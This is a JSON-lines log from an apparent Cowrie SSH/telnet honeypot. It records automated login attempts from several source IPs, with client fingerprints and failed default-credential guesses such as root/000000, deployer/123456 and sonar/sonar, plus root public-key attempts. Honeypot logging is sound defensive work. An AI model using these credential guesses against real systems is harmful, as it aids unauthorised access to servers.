{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:26.282692Z","src_ip":"192.109.200.78","session":"50184aadc170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:27.368554Z","src_ip":"192.109.200.78","session":"50184aadc170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59226,"dst_ip":"10.17.0.5","dst_port":22,"session":"50c8d3cc0090","protocol":"ssh","message":"New connection: 192.109.200.78:59226 (10.17.0.5:22) [session: 50c8d3cc0090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:29.394574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:29.397689Z","src_ip":"192.109.200.78","session":"50c8d3cc0090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:29.478251Z","src_ip":"192.109.200.78","session":"50c8d3cc0090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:29.721130Z","src_ip":"192.109.200.78","session":"50c8d3cc0090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:30.804407Z","src_ip":"192.109.200.78","session":"50c8d3cc0090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55452,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ea0e6cf49c3","protocol":"telnet","message":"New connection: 172.81.62.90:55452 (159.203.135.109:23) [session: 1ea0e6cf49c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:31.750455Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35698,"dst_ip":"10.17.0.5","dst_port":22,"session":"228d00b4fea9","protocol":"ssh","message":"New connection: 192.109.200.78:35698 (10.17.0.5:22) [session: 228d00b4fea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:32.856837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:32.860607Z","src_ip":"192.109.200.78","session":"228d00b4fea9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:32.941283Z","src_ip":"192.109.200.78","session":"228d00b4fea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:33.184936Z","src_ip":"192.109.200.78","session":"228d00b4fea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:34.269577Z","src_ip":"192.109.200.78","session":"228d00b4fea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35700,"dst_ip":"10.17.0.5","dst_port":22,"session":"463b6b7d4dd7","protocol":"ssh","message":"New connection: 192.109.200.78:35700 (10.17.0.5:22) [session: 463b6b7d4dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:36.224994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:36.311977Z","src_ip":"192.109.200.78","session":"463b6b7d4dd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:36.365108Z","src_ip":"192.109.200.78","session":"463b6b7d4dd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:36.773230Z","src_ip":"192.109.200.78","session":"463b6b7d4dd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:37.857844Z","src_ip":"192.109.200.78","session":"463b6b7d4dd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35708,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfbcb068c650","protocol":"ssh","message":"New connection: 192.109.200.78:35708 (10.17.0.5:22) [session: bfbcb068c650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:39.883028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:39.887325Z","src_ip":"192.109.200.78","session":"bfbcb068c650","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:39.967832Z","src_ip":"192.109.200.78","session":"bfbcb068c650","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:40.213252Z","src_ip":"192.109.200.78","session":"bfbcb068c650","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:41.296643Z","src_ip":"192.109.200.78","session":"bfbcb068c650","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46780,"dst_ip":"10.17.0.5","dst_port":22,"session":"c47312ed221b","protocol":"ssh","message":"New connection: 192.109.200.78:46780 (10.17.0.5:22) [session: c47312ed221b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:43.281526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:43.285109Z","src_ip":"192.109.200.78","session":"c47312ed221b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:43.368309Z","src_ip":"192.109.200.78","session":"c47312ed221b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:43.614239Z","src_ip":"192.109.200.78","session":"c47312ed221b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:44.697862Z","src_ip":"192.109.200.78","session":"c47312ed221b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.153.185","src_port":54586,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b86a578a214","protocol":"ssh","message":"New connection: 143.198.153.185:54586 (10.17.0.5:22) [session: 5b86a578a214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:44.846657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:44.850845Z","src_ip":"143.198.153.185","session":"5b86a578a214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:44.924514Z","src_ip":"143.198.153.185","session":"5b86a578a214","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:16:e1:ac:b3:d6:15:0a:ce:76:df:56:d1:4a:72:ee","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOW2TUpWIAZxryd/kMoQkyQ7UbrjExlgNaWWNcIHGeAuV/KYxfrOWdfe/CoEviFKu6ad6Uj3slrHmDSHMIjjU30eY3kXP8oBKkQB6bJ3MfcSUFWkrpWQgrpR3eqI9cG+dn/Kq2z2oDpVz6MT9ujulszojJ/62dsGpRh56kKUAqvVAAAAFQC/Kz5KhydOlw0mTg1rqzp43OSDKwAAAIAdmxU1FyLx59fslDQzOt3I5ST8hs3i22Kfu/9itwXruRt8oGQ0d0QaxEETsV4rq9xMbKhlvgOyTsoX6zmkMac2d2qwYORo+sgTMHr1cravwH2+K2ssYaBhvKf0zQ260CICau5FCunlEhAZLECrZc8wa9bFMu5BahPTKI6R6VVzPQAAAIEAwobkghdT32tmoQOwsC8sqN2tPzdBqEAhKiwVQKOhYeOP/ewrwlpLzKN4k7QgIq1NOU7LrHmZzCnbGrSvj2ZwMskXppAma4gSrfJwMXX0M1/M5TBQzjuyQLEpuStFaNLYaJV0vl8qjwPsQ9xVrmv/uQ1Mp+8DkO3e5A2buT8B8UA=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 8e:16:e1:ac:b3:d6:15:0a:ce:76:df:56:d1:4a:72:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:45.275667Z","src_ip":"143.198.153.185","session":"5b86a578a214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:16:e1:ac:b3:d6:15:0a:ce:76:df:56:d1:4a:72:ee","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAOW2TUpWIAZxryd/kMoQkyQ7UbrjExlgNaWWNcIHGeAuV/KYxfrOWdfe/CoEviFKu6ad6Uj3slrHmDSHMIjjU30eY3kXP8oBKkQB6bJ3MfcSUFWkrpWQgrpR3eqI9cG+dn/Kq2z2oDpVz6MT9ujulszojJ/62dsGpRh56kKUAqvVAAAAFQC/Kz5KhydOlw0mTg1rqzp43OSDKwAAAIAdmxU1FyLx59fslDQzOt3I5ST8hs3i22Kfu/9itwXruRt8oGQ0d0QaxEETsV4rq9xMbKhlvgOyTsoX6zmkMac2d2qwYORo+sgTMHr1cravwH2+K2ssYaBhvKf0zQ260CICau5FCunlEhAZLECrZc8wa9bFMu5BahPTKI6R6VVzPQAAAIEAwobkghdT32tmoQOwsC8sqN2tPzdBqEAhKiwVQKOhYeOP/ewrwlpLzKN4k7QgIq1NOU7LrHmZzCnbGrSvj2ZwMskXppAma4gSrfJwMXX0M1/M5TBQzjuyQLEpuStFaNLYaJV0vl8qjwPsQ9xVrmv/uQ1Mp+8DkO3e5A2buT8B8UA=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:45.279164Z","src_ip":"143.198.153.185","session":"5b86a578a214","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:1a:ac:ef:fe:b6:39:f8:ba:0c:8f:7e:f7:a7:80:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3EHNwa0GVvaE/IROBmvqLwx3rIbMqAQM8DHYWNJCw5ugRzE71yI7zb67WIz5Lg0w6X2T6frOwbWINHWzDw2Lu0KDpvEZ+Vbgc4nbv47Qo/vcU5MrjYY6DUb8odJOW+TYLmX/Lrhh9roqtwWzvsJZQo2rBaeAv5xGPf8tyX3M5HXZOAL4snzbSRdeqdcY2C27fg1yiiIQ18g/W9uHZcxehLb/4S7NTq2BNDFvpmZ5Drzmq/RoJBHVyag3ID9vEyDFvOmkweYCnPquwHEnWK1+JwQyfzHkviKwLoG8mMa6qC7bYOv1dOeOtchvwzOZzbiJjaqoqiVrImGEdVNP1bivF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:1a:ac:ef:fe:b6:39:f8:ba:0c:8f:7e:f7:a7:80:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:45.357242Z","src_ip":"143.198.153.185","session":"5b86a578a214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:1a:ac:ef:fe:b6:39:f8:ba:0c:8f:7e:f7:a7:80:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3EHNwa0GVvaE/IROBmvqLwx3rIbMqAQM8DHYWNJCw5ugRzE71yI7zb67WIz5Lg0w6X2T6frOwbWINHWzDw2Lu0KDpvEZ+Vbgc4nbv47Qo/vcU5MrjYY6DUb8odJOW+TYLmX/Lrhh9roqtwWzvsJZQo2rBaeAv5xGPf8tyX3M5HXZOAL4snzbSRdeqdcY2C27fg1yiiIQ18g/W9uHZcxehLb/4S7NTq2BNDFvpmZ5Drzmq/RoJBHVyag3ID9vEyDFvOmkweYCnPquwHEnWK1+JwQyfzHkviKwLoG8mMa6qC7bYOv1dOeOtchvwzOZzbiJjaqoqiVrImGEdVNP1bivF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:45.360129Z","src_ip":"143.198.153.185","session":"5b86a578a214","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:fe:88:8b:1e:05:f3:f4:66:46:b7:54:9b:77:e7:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjW9/pxOrsDXEWgGvIU6H2kLM7lIuAYeGlrsviImkMXIQhmP3+J/exTg+DHH5fElGpfRCrQqGnmt7kpaVmO7tDFPEC9d5/uPtUkD5zCV3BBHz6kQaazQmLmJLVS4AjiRKU0mTlLWUIdM1G85oi3zmku6OJDgZ/IM4VAl2l0Xj97SvlWKllaDtrFGQRiiZ8XX63VKRinr2I+eKCYY/nbp/Wmn1VZorePCpm6K7plUvZCHn+s2ac1icUSNn5r7bpJkOVSUU/8ZhrgNddgqaEiEDajRwzejw/A3UgkAQHycZZNqytpYnOVlKjk67fz+aExzt0pMWZbFpzmtSgU94X9v9N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:fe:88:8b:1e:05:f3:f4:66:46:b7:54:9b:77:e7:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:45.434831Z","src_ip":"143.198.153.185","session":"5b86a578a214","protocol":"ssh"}
